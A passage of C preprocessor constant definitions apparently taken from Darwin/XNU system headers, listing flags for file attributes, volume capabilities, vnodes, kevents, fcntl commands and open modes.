00200 #define SEM_R 00400 #define PSEMNAMLEN 31 #define PSEM_NONE 1 #define PSEM_DEFINED 2 #define PSEM_ALLOCATED 4 #define PSEM_MAPPED 8 #define PSEM_INUSE 0x10 #define PSEM_REMOVED 0x20 #define PSEM_INCREATE 0x40 #define PSEM_INDELETE 0x80 #define FSOPT_NOFOLLOW 0x00000001 #define FSOPT_NOINMEMUPDATE 0x00000002 #define FSOPT_REPORT_FULLSIZE 0x00000004 #define FSOPT_PACK_INVAL_ATTRS 0x00000008 #define FSOPT_ATTR_CMN_EXTENDED 0x00000020 #define FSOPT_RETURN_REALDEV 0x00000200 #define FSOPT_NOFOLLOW_ANY 0x00000800 #define SEARCHFS_MAX_SEARCHPARMS 4096 #define ATTR_BIT_MAP_COUNT 5 #define VOL_CAPABILITIES_FORMAT 0 #define VOL_CAPABILITIES_INTERFACES 1 #define VOL_CAPABILITIES_RESERVED1 2 #define VOL_CAPABILITIES_RESERVED2 3 #define ATTR_MAX_BUFFER 8192 #define VOL_CAP_FMT_PERSISTENTOBJECTIDS 0x00000001 #define VOL_CAP_FMT_SYMBOLICLINKS 0x00000002 #define VOL_CAP_FMT_HARDLINKS 0x00000004 #define VOL_CAP_FMT_JOURNAL 0x00000008 #define VOL_CAP_FMT_JOURNAL_ACTIVE 0x00000010 #define VOL_CAP_FMT_NO_ROOT_TIMES 0x00000020 #define VOL_CAP_FMT_SPARSE_FILES 0x00000040 #define VOL_CAP_FMT_ZERO_RUNS 0x00000080 #define VOL_CAP_FMT_CASE_SENSITIVE 0x00000100 #define VOL_CAP_FMT_CASE_PRESERVING 0x00000200 #define VOL_CAP_FMT_FAST_STATFS 0x00000400 #define VOL_CAP_FMT_2TB_FILESIZE 0x00000800 #define VOL_CAP_FMT_OPENDENYMODES 0x00001000 #define VOL_CAP_FMT_HIDDEN_FILES 0x00002000 #define VOL_CAP_FMT_PATH_FROM_ID 0x00004000 #define VOL_CAP_FMT_NO_VOLUME_SIZES 0x00008000 #define VOL_CAP_FMT_DECMPFS_COMPRESSION 0x00010000 #define VOL_CAP_FMT_64BIT_OBJECT_IDS 0x00020000 #define VOL_CAP_FMT_DIR_HARDLINKS 0x00040000 #define VOL_CAP_FMT_DOCUMENT_ID 0x00080000 #define VOL_CAP_FMT_WRITE_GENERATION_COUNT 0x00100000 #define VOL_CAP_FMT_NO_IMMUTABLE_FILES 0x00200000 #define VOL_CAP_FMT_NO_PERMISSIONS 0x00400000 #define VOL_CAP_FMT_SHARED_SPACE 0x00800000 #define VOL_CAP_FMT_VOL_GROUPS 0x01000000 #define VOL_CAP_FMT_SEALED 0x02000000 #define VOL_CAP_FMT_CLONE_MAPPING 0x04000000 #define VOL_CAP_INT_SEARCHFS 0x00000001 #define VOL_CAP_INT_ATTRLIST 0x00000002 #define VOL_CAP_INT_NFSEXPORT 0x00000004 #define VOL_CAP_INT_READDIRATTR 0x00000008 #define VOL_CAP_INT_EXCHANGEDATA 0x00000010 #define VOL_CAP_INT_COPYFILE 0x00000020 #define VOL_CAP_INT_ALLOCATE 0x00000040 #define VOL_CAP_INT_VOL_RENAME 0x00000080 #define VOL_CAP_INT_ADVLOCK 0x00000100 #define VOL_CAP_INT_FLOCK 0x00000200 #define VOL_CAP_INT_EXTENDED_SECURITY 0x00000400 #define VOL_CAP_INT_USERACCESS 0x00000800 #define VOL_CAP_INT_MANLOCK 0x00001000 #define VOL_CAP_INT_NAMEDSTREAMS 0x00002000 #define VOL_CAP_INT_EXTENDED_ATTR 0x00004000 #define VOL_CAP_INT_CLONE 0x00010000 #define VOL_CAP_INT_SNAPSHOT 0x00020000 #define VOL_CAP_INT_RENAME_SWAP 0x00040000 #define VOL_CAP_INT_RENAME_EXCL 0x00080000 #define VOL_CAP_INT_RENAME_OPENFAIL 0x00100000 #define VOL_CAP_INT_RENAME_SECLUDE 0x00200000 #define VOL_CAP_INT_ATTRIBUTION_TAG 0x00400000 #define VOL_CAP_INT_PUNCHHOLE 0x00800000 #define ATTR_CMN_NAME 0x00000001 #define ATTR_CMN_DEVID 0x00000002 #define ATTR_CMN_FSID 0x00000004 #define ATTR_CMN_OBJTYPE 0x00000008 #define ATTR_CMN_OBJTAG 0x00000010 #define ATTR_CMN_OBJID 0x00000020 #define ATTR_CMN_OBJPERMANENTID 0x00000040 #define ATTR_CMN_PAROBJID 0x00000080 #define ATTR_CMN_SCRIPT 0x00000100 #define ATTR_CMN_CRTIME 0x00000200 #define ATTR_CMN_MODTIME 0x00000400 #define ATTR_CMN_CHGTIME 0x00000800 #define ATTR_CMN_ACCTIME 0x00001000 #define ATTR_CMN_BKUPTIME 0x00002000 #define ATTR_CMN_FNDRINFO 0x00004000 #define ATTR_CMN_OWNERID 0x00008000 #define ATTR_CMN_GRPID 0x00010000 #define ATTR_CMN_ACCESSMASK 0x00020000 #define ATTR_CMN_FLAGS 0x00040000 #define ATTR_CMN_GEN_COUNT 0x00080000 #define ATTR_CMN_DOCUMENT_ID 0x00100000 #define ATTR_CMN_USERACCESS 0x00200000 #define ATTR_CMN_EXTENDED_SECURITY 0x00400000 #define ATTR_CMN_UUID 0x00800000 #define ATTR_CMN_GRPUUID 0x01000000 #define ATTR_CMN_FILEID 0x02000000 #define ATTR_CMN_PARENTID 0x04000000 #define ATTR_CMN_FULLPATH 0x08000000 #define ATTR_CMN_ADDEDTIME 0x10000000 #define ATTR_CMN_ERROR 0x20000000 #define ATTR_CMN_DATA_PROTECT_FLAGS 0x40000000 #define ATTR_CMN_RETURNED_ATTRS 0x80000000 #define ATTR_CMN_VALIDMASK 0xFFFFFFFF #define ATTR_CMN_SETMASK 0x51C7FF00 #define ATTR_CMN_VOLSETMASK 0x00006700 #define ATTR_VOL_FSTYPE 0x00000001 #define ATTR_VOL_SIGNATURE 0x00000002 #define ATTR_VOL_SIZE 0x00000004 #define ATTR_VOL_SPACEFREE 0x00000008 #define ATTR_VOL_SPACEAVAIL 0x00000010 #define ATTR_VOL_MINALLOCATION 0x00000020 #define ATTR_VOL_ALLOCATIONCLUMP 0x00000040 #define ATTR_VOL_IOBLOCKSIZE 0x00000080 #define ATTR_VOL_OBJCOUNT 0x00000100 #define ATTR_VOL_FILECOUNT 0x00000200 #define ATTR_VOL_DIRCOUNT 0x00000400 #define ATTR_VOL_MAXOBJCOUNT 0x00000800 #define ATTR_VOL_MOUNTPOINT 0x00001000 #define ATTR_VOL_NAME 0x00002000 #define ATTR_VOL_MOUNTFLAGS 0x00004000 #define ATTR_VOL_MOUNTEDDEVICE 0x00008000 #define ATTR_VOL_ENCODINGSUSED 0x00010000 #define ATTR_VOL_CAPABILITIES 0x00020000 #define ATTR_VOL_UUID 0x00040000 #define ATTR_VOL_FSTYPENAME 0x00100000 #define ATTR_VOL_FSSUBTYPE 0x00200000 #define ATTR_VOL_SPACEUSED 0x00800000 #define ATTR_VOL_QUOTA_SIZE 0x10000000 #define ATTR_VOL_RESERVED_SIZE 0x20000000 #define ATTR_VOL_ATTRIBUTES 0x40000000 #define ATTR_VOL_INFO 0x80000000 #define ATTR_VOL_VALIDMASK 0xF0B7FFFF #define ATTR_VOL_SETMASK 0x80002000 #define ATTR_DIR_LINKCOUNT 0x00000001 #define ATTR_DIR_ENTRYCOUNT 0x00000002 #define ATTR_DIR_MOUNTSTATUS 0x00000004 #define ATTR_DIR_ALLOCSIZE 0x00000008 #define ATTR_DIR_IOBLOCKSIZE 0x00000010 #define ATTR_DIR_DATALENGTH 0x00000020 #define DIR_MNTSTATUS_MNTPOINT 0x00000001 #define DIR_MNTSTATUS_TRIGGER 0x00000002 #define ATTR_DIR_VALIDMASK 0x0000003f #define ATTR_DIR_SETMASK 0x00000000 #define ATTR_FILE_LINKCOUNT 0x00000001 #define ATTR_FILE_TOTALSIZE 0x00000002 #define ATTR_FILE_ALLOCSIZE 0x00000004 #define ATTR_FILE_IOBLOCKSIZE 0x00000008 #define ATTR_FILE_DEVTYPE 0x00000020 #define ATTR_FILE_FORKCOUNT 0x00000080 #define ATTR_FILE_FORKLIST 0x00000100 #define ATTR_FILE_DATALENGTH 0x00000200 #define ATTR_FILE_DATAALLOCSIZE 0x00000400 #define ATTR_FILE_RSRCLENGTH 0x00001000 #define ATTR_FILE_RSRCALLOCSIZE 0x00002000 #define ATTR_FILE_VALIDMASK 0x000037FF #define ATTR_FILE_SETMASK 0x00000020 #define ATTR_CMNEXT_RELPATH 0x00000004 #define ATTR_CMNEXT_PRIVATESIZE 0x00000008 #define ATTR_CMNEXT_LINKID 0x00000010 #define ATTR_CMNEXT_NOFIRMLINKPATH 0x00000020 #define ATTR_CMNEXT_REALDEVID 0x00000040 #define ATTR_CMNEXT_REALFSID 0x00000080 #define ATTR_CMNEXT_CLONEID 0x00000100 #define ATTR_CMNEXT_EXT_FLAGS 0x00000200 #define ATTR_CMNEXT_RECURSIVE_GENCOUNT 0x00000400 #define ATTR_CMNEXT_ATTRIBUTION_TAG 0x00000800 #define ATTR_CMNEXT_CLONE_REFCNT 0x00001000 #define ATTR_CMNEXT_VALIDMASK 0x00001ffc #define ATTR_CMNEXT_SETMASK 0x00000000 #define ATTR_FORK_TOTALSIZE 0x00000001 #define ATTR_FORK_ALLOCSIZE 0x00000002 #define ATTR_FORK_RESERVED 0xffffffff #define ATTR_FORK_VALIDMASK 0x00000003 #define ATTR_FORK_SETMASK 0x00000000 #define ATTR_CMN_NAMEDATTRCOUNT 0x00080000 #define ATTR_CMN_NAMEDATTRLIST 0x00100000 #define ATTR_FILE_CLUMPSIZE 0x00000010 #define ATTR_FILE_FILETYPE 0x00000040 #define ATTR_FILE_DATAEXTENTS 0x00000800 #define ATTR_FILE_RSRCEXTENTS 0x00004000 #define SRCHFS_START 0x00000001 #define SRCHFS_MATCHPARTIALNAMES 0x00000002 #define SRCHFS_MATCHDIRS 0x00000004 #define SRCHFS_MATCHFILES 0x00000008 #define SRCHFS_SKIPLINKS 0x00000010 #define SRCHFS_SKIPINVISIBLE 0x00000020 #define SRCHFS_SKIPPACKAGES 0x00000040 #define SRCHFS_SKIPINAPPROPRIATE 0x00000080 #define SRCHFS_NEGATEPARAMS 0x80000000 #define SRCHFS_VALIDOPTIONSMASK 0x800000FF #define KEV_ANY_VENDOR 0 #define KEV_ANY_CLASS 0 #define KEV_ANY_SUBCLASS 0 #define KEV_VENDOR_APPLE 1 #define KEV_NETWORK_CLASS 1 #define KEV_IOKIT_CLASS 2 #define KEV_SYSTEM_CLASS 3 #define KEV_APPLESHARE_CLASS 4 #define KEV_FIREWALL_CLASS 5 #define KEV_IEEE80211_CLASS 6 #define KEV_NKE_CLASS 7 #define KEV_NKE_ALF_SUBCLASS 1 #define KEV_NKE_ALF_STATE_CHANGED 1 #define XNU_KERN_EVENT_DATA_SIZE 1 #define KEV_VENDOR_CODE_MAX_STR_LEN 200 #define N_KEV_VECTORS 5 #define M_WAITOK 0x0000 #define M_NOWAIT 0x0001 #define M_ZERO 0x0004 #define M_NULL 0x0008 #define M_PCB 4 #define M_RTABLE 5 #define M_IFADDR 9 #define M_SONAME 11 #define M_LOCKF 40 #define M_TEMP 80 #define M_UDFNODE 84 #define M_UDFMNT 85 #define M_KAUTH 100 #define HAVE_VT_LOCKERFS 1 #define VNODE_READ 0x01 #define VNODE_WRITE 0x02 #define VNODE_BLOCKMAP_NO_TRACK 0x04 #define VNODE_CLUSTER_VERIFY 0x08 #define PREALLOCATE 0x00000001 #define ALLOCATECONTIG 0x00000002 #define ALLOCATEALL 0x00000004 #define ALLOCATEPERSIST 0x00000008 #define ALLOCATEFROMPEOF 0x00000010 #define ALLOCATEFROMVOL 0x00000020 #define IO_UNIT 0x0001 #define IO_APPEND 0x0002 #define IO_SYNC 0x0004 #define IO_NODELOCKED 0x0008 #define IO_NDELAY 0x0010 #define IO_NOZEROFILL 0x0020 #define IO_TAILZEROFILL 0x0040 #define IO_HEADZEROFILL 0x0080 #define IO_NOZEROVALID 0x0100 #define IO_NOZERODIRTY 0x0200 #define IO_CLOSE 0x0400 #define IO_NOCACHE 0x0800 #define IO_RAOFF 0x1000 #define IO_DEFWRITE 0x2000 #define IO_PASSIVE 0x4000 #define IO_NOAUTH 0x8000 #define IO_NODIRECT 0x10000 #define IO_ENCRYPTED 0x20000 #define IO_RETURN_ON_THROTTLE 0x40000 #define IO_SINGLE_WRITER 0x80000 #define IO_SYSCALL_DISPATCH 0x100000 #define IO_SWAP_DISPATCH 0x200000 #define IO_SKIP_ENCRYPTION 0x400000 #define IO_EVTONLY 0x800000 #define IO_NOCACHE_SYSSPACE 0x1000000 #define IO_NOCACHE_SWRITE 0x2000000 #define LOOKUP 0 #define CREATE 1 #define DELETE 2 #define RENAME 3 #define OPMASK 3 #define FOLLOW 0x00000040 #define ISDOTDOT 0x00002000 #define MAKEENTRY 0x00004000 #define ISLASTCN 0x00008000 #define VNFS_NOCACHE 0x01 #define VNFS_CANTCACHE 0x02 #define VNFS_ADDFSREF 0x04 #define VNCREATE_FLAVOR 0 #define VA_UTIMES_NULL 0x010000 #define VA_EXCLUSIVE 0x020000 #define VA_NOINHERIT 0x040000 #define VA_NOAUTH 0x080000 #define VA_64BITOBJIDS 0x100000 #define VA_REALFSID 0x200000 #define VA_USEFSID 0x400000 #define VA_FILESEC_ACL 0x800000 #define VSUID 0x800 #define VSGID 0x400 #define VSVTX 0x200 #define VREAD 0x100 #define VWRITE 0x080 #define VEXEC 0x040 #define SKIPSYSTEM 0x0001 #define FORCECLOSE 0x0002 #define WRITECLOSE 0x0004 #define SKIPSWAP 0x0008 #define SKIPROOT 0x0010 #define DOCLOSE 0x0008 #define V_SAVE 0x0001 #define V_SAVEMETA 0x0002 #define REVOKEALL 0x0001 #define VNODE_REMOVE_NODELETEBUSY 0x0001 #define VNODE_REMOVE_SKIP_NAMESPACE_EVENT 0x0002 #define VNODE_REMOVE_NO_AUDIT_PATH 0x0004 #define VNODE_REMOVE_DATALESS_DIR 0x0008 #define VNODE_READDIR_EXTENDED 0x0001 #define VNODE_READDIR_REQSEEKOFF 0x0002 #define VNODE_READDIR_SEEKOFF32 0x0004 #define VNODE_READDIR_NAMEMAX 0x0008 #define VNODE_CLONEFILE_DEFAULT 0x0000 #define VNODE_CLONEFILE_NOOWNERCOPY 0x0001 #define VNODE_ASYNC_THROTTLE 15 #define VNODE_UPDATE_PARENT 0x01 #define VNODE_UPDATE_NAME 0x02 #define VNODE_UPDATE_CACHE 0x04 #define VNODE_UPDATE_PURGE 0x08 #define VNODE_LOOKUP_NOFOLLOW 0x01 #define VNODE_LOOKUP_NOCROSSMOUNT 0x02 #define VNODE_LOOKUP_CROSSMOUNTNOWAIT 0x04 #define VNODE_LOOKUP_NOFOLLOW_ANY 0x08 #define VNODE_RELOAD 0x01 #define VNODE_WAIT 0x02 #define VNODE_WRITEABLE 0x04 #define VNODE_WITHID 0x08 #define VNODE_NOLOCK_INTERNAL 0x10 #define VNODE_NODEAD 0x20 #define VNODE_NOSUSPEND 0x40 #define VNODE_ITERATE_ALL 0x80 #define VNODE_ITERATE_ACTIVE 0x100 #define VNODE_ITERATE_INACTIVE 0x200 #define VNODE_RETURNED 0 #define VNODE_RETURNED_DONE 1 #define VNODE_CLAIMED 2 #define VNODE_CLAIMED_DONE 3 #define IOCS_BUFFER_NUM_SIZE_BUCKETS 10 #define IOCS_BUFFER_MAX_BUCKET 9 #define IOCS_BUFFER_NUM_COMPRESSION_BUCKETS 7 #define IOCS_BLOCK_NUM_SIZE_BUCKETS 16 #define IOCS_SBE_PATH_LEN 128 #define IOCS_PATH_START_BYTES_TO_COPY 108 #define IOCS_PATH_END_BYTES_TO_COPY 20 #define IOCS_SYSCTL_LIVE 0x00000001 #define IOCS_SYSCTL_STORE_BUFFER_RD_ONLY 0x00000002 #define IOCS_SYSCTL_STORE_BUFFER_MARK 0x00000004 #define TANDEM 0x00000001 #define CBREAK 0x00000002 #define LCASE 0x00000004 #define ECHO 0x00000008 #define CRMOD 0x00000010 #define RAW 0x00000020 #define ODDP 0x00000040 #define EVENP 0x00000080 #define ANYP 0x000000c0 #define NLDELAY 0x00000300 #define TBDELAY 0x00000c00 #define XTABS 0x00000c00 #define CRDELAY 0x00003000 #define VTDELAY 0x00004000 #define BSDELAY 0x00008000 #define NL0 0x00000000 #define NL1 0x00000100 #define NL2 0x00000200 #define NL3 0x00000300 #define TAB0 0x00000000 #define TAB1 0x00000400 #define TAB2 0x00000800 #define CR0 0x00000000 #define CR1 0x00001000 #define CR2 0x00002000 #define CR3 0x00003000 #define FF0 0x00000000 #define FF1 0x00004000 #define BS0 0x00000000 #define BS1 0x00008000 #define CRTBS 0x00010000 #define PRTERA 0x00020000 #define CRTERA 0x00040000 #define TILDE 0x00080000 #define MDMBUF 0x00100000 #define LITOUT 0x00200000 #define TOSTOP 0x00400000 #define FLUSHO 0x00800000 #define NOHANG 0x01000000 #define L001000 0x02000000 #define CRTKIL 0x04000000 #define PASS8 0x08000000 #define CTLECH 0x10000000 #define PENDIN 0x20000000 #define DECCTQ 0x40000000 #define NOFLSH 0x80000000 #define OTTYDISC 0 #define NETLDISC 1 #define NTTYDISC 2 #define LOCKLEAF 0x0004 #define LOCKPARENT 0x0008 #define WANTPARENT 0x0010 #define UIO_MAXIOV 1024 #define UIO_SMALLIOV 8 #define EVFILT_SYSCOUNT 18 #define KEVENT_FLAG_NONE 0x000000 #define KEVENT_FLAG_IMMEDIATE 0x000001 #define KEVENT_FLAG_ERROR_EVENTS 0x000002 #define EV_ADD 0x0001 #define EV_DELETE 0x0002 #define EV_ENABLE 0x0004 #define EV_DISABLE 0x0008 #define EV_ONESHOT 0x0010 #define EV_CLEAR 0x0020 #define EV_RECEIPT 0x0040 #define EV_DISPATCH 0x0080 #define EV_UDATA_SPECIFIC 0x0100 #define EV_VANISHED 0x0200 #define EV_SYSFLAGS 0xF000 #define EV_FLAG0 0x1000 #define EV_FLAG1 0x2000 #define EV_EOF 0x8000 #define EV_ERROR 0x4000 #define NOTE_TRIGGER 0x01000000 #define NOTE_FFNOP 0x00000000 #define NOTE_FFAND 0x40000000 #define NOTE_FFOR 0x80000000 #define NOTE_FFCOPY 0xc0000000 #define NOTE_FFCTRLMASK 0xc0000000 #define NOTE_FFLAGSMASK 0x00ffffff #define NOTE_LOWAT 0x00000001 #define NOTE_OOB 0x00000002 #define NOTE_DELETE 0x00000001 #define NOTE_WRITE 0x00000002 #define NOTE_EXTEND 0x00000004 #define NOTE_ATTRIB 0x00000008 #define NOTE_LINK 0x00000010 #define NOTE_RENAME 0x00000020 #define NOTE_REVOKE 0x00000040 #define NOTE_NONE 0x00000080 #define NOTE_FUNLOCK 0x00000100 #define NOTE_LEASE_DOWNGRADE 0x00000200 #define NOTE_LEASE_RELEASE 0x00000400 #define NOTE_EXIT 0x80000000 #define NOTE_FORK 0x40000000 #define NOTE_EXEC 0x20000000 #define NOTE_SIGNAL 0x08000000 #define NOTE_EXITSTATUS 0x04000000 #define NOTE_EXIT_DETAIL 0x02000000 #define NOTE_PDATAMASK 0x000fffff #define NOTE_EXIT_DETAIL_MASK 0x00070000 #define NOTE_EXIT_DECRYPTFAIL 0x00010000 #define NOTE_EXIT_MEMORY 0x00020000 #define NOTE_EXIT_CSERROR 0x00040000 #define NOTE_VM_PRESSURE 0x80000000 #define NOTE_VM_PRESSURE_TERMINATE 0x40000000 #define NOTE_VM_PRESSURE_SUDDEN_TERMINATE 0x20000000 #define NOTE_VM_ERROR 0x10000000 #define NOTE_SECONDS 0x00000001 #define NOTE_USECONDS 0x00000002 #define NOTE_NSECONDS 0x00000004 #define NOTE_ABSOLUTE 0x00000008 #define NOTE_LEEWAY 0x00000010 #define NOTE_CRITICAL 0x00000020 #define NOTE_BACKGROUND 0x00000040 #define NOTE_MACH_CONTINUOUS_TIME 0x00000080 #define NOTE_MACHTIME 0x00000100 #define NOTE_TRACK 0x00000001 #define NOTE_TRACKERR 0x00000002 #define NOTE_CHILD 0x00000004 #define VMADDR_CID_HYPERVISOR 0 #define VMADDR_CID_RESERVED 1 #define VMADDR_CID_HOST 2 #define IMG_SHSIZE 512 #define IMGPF_NONE 0x00000000 #define IMGPF_INTERPRET 0x00000001 #define IMGPF_RESERVED 0x00000002 #define IMGPF_WAS_64BIT_ADDR 0x00000004 #define IMGPF_IS_64BIT_ADDR 0x00000008 #define IMGPF_SPAWN 0x00000010 #define IMGPF_DISABLE_ASLR 0x00000020 #define IMGPF_ALLOW_DATA_EXEC 0x00000040 #define IMGPF_3P_PLUGINS 0x00000080 #define IMGPF_EXEC 0x00000100 #define IMGPF_HIGH_BITS_ASLR 0x00000200 #define IMGPF_IS_64BIT_DATA 0x00000400 #define IMGPF_DRIVER 0x00000800 #define IMGPF_RESLIDE 0x00001000 #define IMGPF_PLUGIN_HOST_DISABLE_A_KEYS 0x00002000 #define IMGPF_HW_TPRO 0x00004000 #define IMGPF_ROSETTA 0x10000000 #define IMGPF_ALT_ROSETTA 0x20000000 #define IMGPF_RESERVED_2 0x40000000 #define IMGPF_NOJOP 0x80000000 #define IMGPF_SB_DEFAULT 0 #define IMGPF_SB_TRUE 1 #define IMGPF_SB_FALSE 2 #define _POSIX_THREAD_KEYS_MAX 128 #define F_OK 0 #define ACCESSX_MAX_DESCRIPTORS 100 #define _PC_LINK_MAX 1 #define _PC_MAX_CANON 2 #define _PC_MAX_INPUT 3 #define _PC_NAME_MAX 4 #define _PC_PATH_MAX 5 #define _PC_PIPE_BUF 6 #define _PC_CHOWN_RESTRICTED 7 #define _PC_NO_TRUNC 8 #define _PC_VDISABLE 9 #define _PC_NAME_CHARS_MAX 10 #define _PC_CASE_SENSITIVE 11 #define _PC_CASE_PRESERVING 12 #define _PC_EXTENDED_SECURITY_NP 13 #define _PC_AUTH_OPAQUE_NP 14 #define _PC_2_SYMLINKS 15 #define _PC_ALLOC_SIZE_MIN 16 #define _PC_ASYNC_IO 17 #define _PC_FILESIZEBITS 18 #define _PC_PRIO_IO 19 #define _PC_REC_INCR_XFER_SIZE 20 #define _PC_REC_MAX_XFER_SIZE 21 #define _PC_REC_MIN_XFER_SIZE 22 #define _PC_REC_XFER_ALIGN 23 #define _PC_SYMLINK_MAX 24 #define _PC_SYNC_IO 25 #define _PC_XATTR_SIZE_BITS 26 #define _PC_MIN_HOLE_SIZE 27 #define _CS_PATH 1 #define _SYS_CONF_H_ 1 #define D_TAPE 1 #define D_DISK 2 #define D_TTY 3 #define WNOHANG 0x00000001 #define WUNTRACED 0x00000002 #define WCOREFLAG 00200 #define _WSTOPPED 00177 #define WEXITED 0x00000004 #define WSTOPPED 0x00000008 #define WCONTINUED 0x00000010 #define WNOWAIT 0x00000020 #define WAIT_MYPGRP 0 #define PRIO_DARWIN_GPU 5 #define PRIO_DARWIN_GPU_ALLOW 0x1 #define PRIO_DARWIN_GPU_DENY 0x2 #define PRIO_DARWIN_ROLE 6 #define PRIO_DARWIN_ROLE_DEFAULT 0x0 #define PRIO_DARWIN_ROLE_UI_FOCAL 0x1 #define PRIO_DARWIN_ROLE_UI 0x2 #define PRIO_DARWIN_ROLE_NON_UI 0x3 #define PRIO_DARWIN_ROLE_UI_NON_FOCAL 0x4 #define PRIO_DARWIN_ROLE_TAL_LAUNCH 0x5 #define PRIO_DARWIN_ROLE_DARWIN_BG 0x6 #define PRIO_DARWIN_GAME_MODE 7 #define PRIO_DARWIN_CARPLAY_MODE 8 #define PRIO_DARWIN_GAME_MODE_OFF 0x0 #define PRIO_DARWIN_GAME_MODE_ON 0x1 #define PRIO_DARWIN_CARPLAY_MODE_OFF 0x0 #define PRIO_DARWIN_CARPLAY_MODE_ON 0x1 #define IOMON_ENABLE 0x01 #define IOMON_DISABLE 0x02 #define IOPOL_TYPE_VFS_HFS_CASE_SENSITIVITY 1 #define IOPOL_TYPE_VFS_ALTLINK 11 #define IOPOL_TYPE_VFS_NOCACHE_WRITE_FS_BLKSIZE 12 #define IOPOL_VFS_HFS_CASE_SENSITIVITY_DEFAULT 0 #define IOPOL_VFS_HFS_CASE_SENSITIVITY_FORCE_CASE_SENSITIVE 1 #define IOPOL_VFS_ALTLINK_DISABLED 0 #define IOPOL_VFS_ALTLINK_ENABLED 1 #define IOPOL_CMD_GET 0x00000001 #define IOPOL_CMD_SET 0x00000002 #define IPC_CREAT 0001000 #define IPC_EXCL 0002000 #define IPC_NOWAIT 0004000 #define IPC_RMID 0 #define IPC_SET 1 #define IPC_STAT 2 #define IPC_R 0000400 #define IPC_W 0000200 #define IPC_M 0010000 #define O_RDONLY 0x0000 #define O_WRONLY 0x0001 #define O_RDWR 0x0002 #define O_ACCMODE 0x0003 #define FREAD 0x00000001 #define FWRITE 0x00000002 #define O_NONBLOCK 0x00000004 #define O_APPEND 0x00000008 #define O_SHLOCK 0x00000010 #define O_EXLOCK 0x00000020 #define O_ASYNC 0x00000040 #define O_NOFOLLOW 0x00000100 #define O_CREAT 0x00000200 #define O_TRUNC 0x00000400 #define O_EXCL 0x00000800 #define FMARK 0x00001000 #define FDEFER 0x00002000 #define FWASLOCKED 0x00004000 #define O_EVTONLY 0x00008000 #define FWASWRITTEN 0x00010000 #define O_NOCTTY 0x00020000 #define FNOCACHE 0x00040000 #define FNORDAHEAD 0x00080000 #define O_DIRECTORY 0x00100000 #define O_SYMLINK 0x00200000 #define FNODIRECT 0x00800000 #define O_CLOEXEC 0x01000000 #define FENCRYPTED 0x02000000 #define FSINGLE_WRITER 0x04000000 #define O_CLOFORK 0x08000000 #define FUNENCRYPTED 0x10000000 #define O_NOFOLLOW_ANY 0x20000000 #define O_EXEC 0x40000000 #define AT_EACCESS 0x0010 #define AT_SYMLINK_NOFOLLOW 0x0020 #define AT_SYMLINK_FOLLOW 0x0040 #define AT_REMOVEDIR 0x0080 #define AT_REALDEV 0x0200 #define AT_FDONLY 0x0400 #define AT_SYMLINK_NOFOLLOW_ANY 0x0800 #define O_DP_GETRAWENCRYPTED 0x0001 #define O_DP_GETRAWUNENCRYPTED 0x0002 #define O_DP_AUTHENTICATE 0x0004 #define CPF_OVERWRITE 0x0001 #define CPF_IGNORE_MODE 0x0002 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETOWN 5 #define F_SETOWN 6 #define F_GETLK 7 #define F_SETLK 8 #define F_SETLKW 9 #define F_SETLKWTIMEOUT 10 #define F_FLUSH_DATA 40 #define F_CHKCLEAN 41 #define F_PREALLOCATE 42 #define F_SETSIZE 43 #define F_RDADVISE 44 #define F_RDAHEAD 45 #define F_NOCACHE 48 #define F_LOG2PHYS 49 #define F_GETPATH 50 #define F_FULLFSYNC 51 #define F_PATHPKG_CHECK 52 #define F_FREEZE_FS 53 #define F_THAW_FS 54 #define F_GLOBAL_NOCACHE 55 #define F_ADDSIGS 59 #define F_ADDFILESIGS 61 #define F_NODIRECT 62 #define F_GETPROTECTIONCLASS 63 #define F_SETPROTECTIONCLASS 64 #define F_LOG2PHYS_EXT 65 #define F_GETLKPID 66 #define F_SETBACKINGSTORE 70 #define F_GETPATH_MTMINFO 71 #define F_GETCODEDIR 72 #define F_SETNOSIGPIPE 73 #define F_GETNOSIGPIPE 74 #define F_TRANSCODEKEY 75 #define F_SINGLE_WRITER 76 #define F_GETPROTECTIONLEVEL 77 #define F_FINDSIGS 78 #define F_ADDFILESIGS_FOR_DYLD_SIM 83 #define F_BARRIERFSYNC 85 #define F_OFD_SETLK 90 #define F_OFD_SETLKW 91 #define F_OFD_GETLK 92 #define F_OFD_SETLKWTIMEOUT 93 #define F_ADDFILESIGS_RETURN 97 #define F_CHECK_LV 98 #define F_PUNCHHOLE 99 #define F_TRIM_ACTIVE_FILE 100 #define F_SPECULATIVE_READ 101 #define F_GETPATH_NOFIRMLINK 102 #define F_ADDFILESIGS_INFO 103 #define F_ADDFILESUPPL 104 #define F_GETSIGSINFO 105 #define F_SETLEASE 106 #define F_GETLEASE 107 #define F_TRANSFEREXTENTS 110 #define F_ATTRIBUTION_TAG 111 #define F_ADDSIGS_MAIN_BINARY 113 #define FCNTL_FS_SPECIFIC_BASE 0x00010000 #define F_DUPFD_CLOEXEC 67 #define FD_CLOEXEC 1 #define F_RDLCK 1 #define F_UNLCK 2 #define F_WRLCK 3 #define F_WAIT 0x010 #define F_FLOCK 0x020 #define F_POSIX 0x040 #define F_PROV 0x080 #define F_WAKE1_SAFE 0x100 #define F_ABORT 0x200 #define F_OFD_LOCK 0x400 #define F_TRANSFER 0x800 #define F_CONFINED 0x1000 #define F_ALLOCATECONTIG 0x00000002 #define F_ALLOCATEALL 0x00000004 #define F_ALLOCATEPERSIST 0x00000008 #define F_PEOFPOSMODE 3 #define F_VOLPOSMODE 4 #define USER_FSIGNATURES_CDHASH_LEN 20 #define GETSIGSINFO_PLATFORM_BINARY 1 #define LOCK_SH 0x01 #define LOCK_EX 0x02 #define LOCK_NB 0x04 #define LOCK_UN 0x08 #define ATTRIBUTION_NAME_MAX 255 #define F_CREATE_TAG 0x00000001 #define F_DELETE_TAG 0x00000002 #define F_QUERY_TAG 0x00000004 #define O_POPUP 0x80000000 #define O_ALERT 0x20000000 #define S_BLKSIZE 512 #define UF_SETTABLE 0x0000ffff #define UF_NODUMP 0x00000001 #define UF_IMMUTABLE 0x00000002 #define UF_APPEND 0x00000004 #define UF_OPAQUE 0x00000008 #define UF_COMPRESSED 0x00000020 #define UF_TRACKED 0x00000040 #define UF_DATAVAULT 0x00000080 #define UF_HIDDEN 0x00008000 #define SF_SUPPORTED 0x009f0000 #define SF_SETTABLE 0x3fff0000 #define SF_SYNTHETIC 0xc0000000 #define SF_ARCHIVED 0x00010000 #define SF_IMMUTABLE 0x00020000 #define SF_APPEND 0x00040000 #define SF_RESTRICTED 0x00080000 #define 